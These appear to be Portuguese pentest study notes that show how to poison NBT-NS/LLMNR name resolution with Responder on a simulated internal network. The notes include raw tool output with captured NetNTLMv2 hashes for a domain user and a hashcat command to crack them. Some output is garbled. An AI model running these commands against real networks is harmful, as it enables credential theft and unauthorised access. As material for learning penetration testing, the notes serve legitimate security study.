Capturando Hashes na Rede

+ Como estamos simulando a situação de estarmos realizando um pentest interno, usaremos o ataque NBT-NS / LLMNR

```
responder -I eth0 -Pv
```

```
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
    NBT-NS
    DNS/MDNS
[+] Servers:
    HTTP server
HTTPS server
    WPAD proxy
    Auth proxy
    SMB server
    Kerberos server
    SQL server
FTP server
    IMAP server
    POP3 server
    SMTP server
    DNS server
LDAP server
     RDP server
[+] HTTP Options:
    Always serving EXE
    Serving EXE
Serving HTML
    Upstream Proxy
[+] Poisoning Options:
    Analyze Mode
    Force WPAD auth
    Force Basic Auth
    Force LM downgrade
Fingerprint hosts
[+] Generic Options:
    Responder NIC
                                       172.16.1.249]
    Responder IP
```

→ Com o tempo, estaremos respondendo as requisições das máquinas do domínio,

```
Responder NIC
    Responder IP
                                  2.16.1.249]
    Challenge set
                                [random]
                                 172.16.1.243', '172.16.1.241', '172.16.1.253']
    Respond To
    Don't Respond To Names
(+) Listening for events...
   [MDNS] Poisoned answer sent to 172.16.1.253
                                                    for name servad2.local
   [NBT-NS] Poisoned answer sent to 172.16.1.253 for name SERVAD2 (service: File Server)
   [LLMNR] Poisoned answer sent to 172.16.1.253 for name servad2
   [MDNS] Poisoned answer sent to 172.16.1.253
                                                   for name servad2.local
   [LLMNR] Poisoned answer sent to 172.16.1.253 for name servad2
002000008FDA2D1376C452519D76DA07FFF0E33E86E3DAFCF9A91716E80F0C5CB48C5B840A001000000000000000000
*] [MDNS] Poisoned answer sent to 172.16.1.253
                                                   for name servad2.local
   [LLMNR] Poisoned answer sent to 172.16.1.253 for name servad2
   [MDNS] Poisoned answer sent to 172.16.1.253
                                                   for name servad2.local
   [LLMNR] Poisoned answer sent to 172.16.1.253 for name servad2
SMB] NTLMv2-SSP Client : 172.16.1.253
SMB] NTLMv2-SSP Username : ORIONSCORP2\MFernanda
[SMB] NTLMv2-SSP Hash : MFernanda::ORIONSCORP2:de29cb7634940c09:33842ACB3942A57E9AA2139EBC0473AF:010
00330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C
1004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006
    002000008FDA2D1376C452519D76DA07FFF0E33E86E3DAFCF9A91716E80F0C5CB48C5B840A00100000000000000000
[*] [MDNS] Poisoned answer sent to 172.16.1.253
                                                    for name servad2.local
    [LLMNR] Poisoned answer sent to 172.16.1.253 for name servad2
   [MDNS] Poisoned answer sent to 172.16.1.253 for name servad2.local
*] [LLMNR] Poisoned answer sent to 172.16.1.253 for name servad2
SMB] NTLMv2-SSP Client : 172.16.1.25
 SMB] NTLMv2-SSP Username : ORIONSCORP2\MFernanda
SMB] NTLMv2-SSP Hash
                         : MFernanda::ORIONSCORP2:0bd7ddd9f80c59f2:ADDC148588A7279BAC7579CC91CFFC81:010
     :0000008FDA2D1376C452519D76DA07FFF0E33E86E3DAFCF9A91716E80F0C5CB48C5B840A0010000000000000
[*] [MDNS] Poisoned answer sent to 172.16.1.241
                                                   for name servad2.local
```

- → Isso de laranja é um hash
- → podemos dar um hashid <hash> para ver qual o tipo se trata
- → Vimos que se trata de um NetNTLMv2, que representa um 5600 no hashcat

```
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force
```

- → sendo "hash" o nome do arquivo em que copiamos o hash encontrado
- + E assim encontramos usuários e crackeamos senhas